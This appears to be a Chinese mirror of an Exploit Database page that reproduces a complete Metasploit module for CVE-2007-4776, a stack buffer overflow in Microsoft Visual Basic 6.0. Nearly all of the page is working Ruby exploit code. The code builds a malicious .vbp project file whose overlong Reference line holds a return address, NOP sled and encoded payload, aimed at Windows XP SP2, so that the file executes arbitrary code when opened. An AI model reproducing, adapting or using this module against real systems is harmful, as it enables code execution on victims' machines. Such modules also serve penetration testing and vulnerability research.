Microsoft Visual Basic – ‘.VBP’ Local Buffer Overflow (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2010-09-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16680/

• ##
  # $Id: ms_visual_basic_vbp.rb 10477 2010-09-25 11:59:02Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft Visual Basic VBP Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack oveflow in Microsoft Visual
  				Basic 6.0. When a specially crafted vbp file containing a long
  				reference line, an attacker may be able to execute arbitrary
  				code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'MC' ],
  			'Version'=> '$Revision: 10477 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-4776' ],
  					[ 'OSVDB', '36936' ],
  					[ 'BID', '25629' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 650,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  					'DisableNops' =>'True',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP2 English', { 'Ret' => 0x0fabd271, 'Scratch' => 0x7ffddfb4 } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Sep 4 2007',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.vbp']),
  			], self.class)
  	end
  
  	def exploit
  
  		sploit =rand_text_alpha_upper(496) + [target.ret].pack('V')
  		sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V')
  		sploit << make_nops(24) + payload.encoded
  
  		vbp ="Type=Exe\r\n"
  		vbp << "Form=Form2.frm\r\n"
  		vbp << "Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation"
  		vbp << sploit + "\r\n"
  		vbp << "Startup=\"Form2\"\r\n"
  		vbp << "Command32=\"\"\r\n"
  		vbp << "Name=\"Project2\"\r\n"
  		vbp << "HelpContextID=\"0\"\r\n"
  		vbp << "CompatibleMode=\"0\"\r\n"
  		vbp << "MajorVer=1\r\n"
  		vbp << "MinorVer=0\r\n"
  		vbp << "RevisionVer=0\r\n"
  		vbp << "AutoIncrementVer=0\r\n"
  		vbp << "ServerSupportFiles=0\r\n"
  		vbp << "VersionCompanyName=\"\"\r\n"
  		vbp << "CompilationType=0\r\n"
  		vbp << "OptimizationType=0\r\n"
  		vbp << "FavorPentiumPro(tm)=0\r\n"
  		vbp << "CodeViewDebugInfo=0\r\n"
  		vbp << "NoAliasing=0\r\n"
  		vbp << "BoundsCheck=0\r\n"
  		vbp << "OverflowCheck=0\r\n"
  		vbp << "FlPointCheck=0\r\n"
  		vbp << "FDIVCheck=0\r\n"
  		vbp << "UnroundedFP=0\r\n"
  		vbp << "StartMode=0\r\n"
  		vbp << "Unattended=0\r\n"
  		vbp << "Retained=0\r\n"
  		vbp << "ThreadPerObject=0\r\n"
  		vbp << "MaxNumberOfThreads=1\r\n"
  		vbp << "[MS Transaction Server]\r\n"
  		vbp << "AutoRefresh=1\r\n"
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(vbp)
  
  	end
  
  end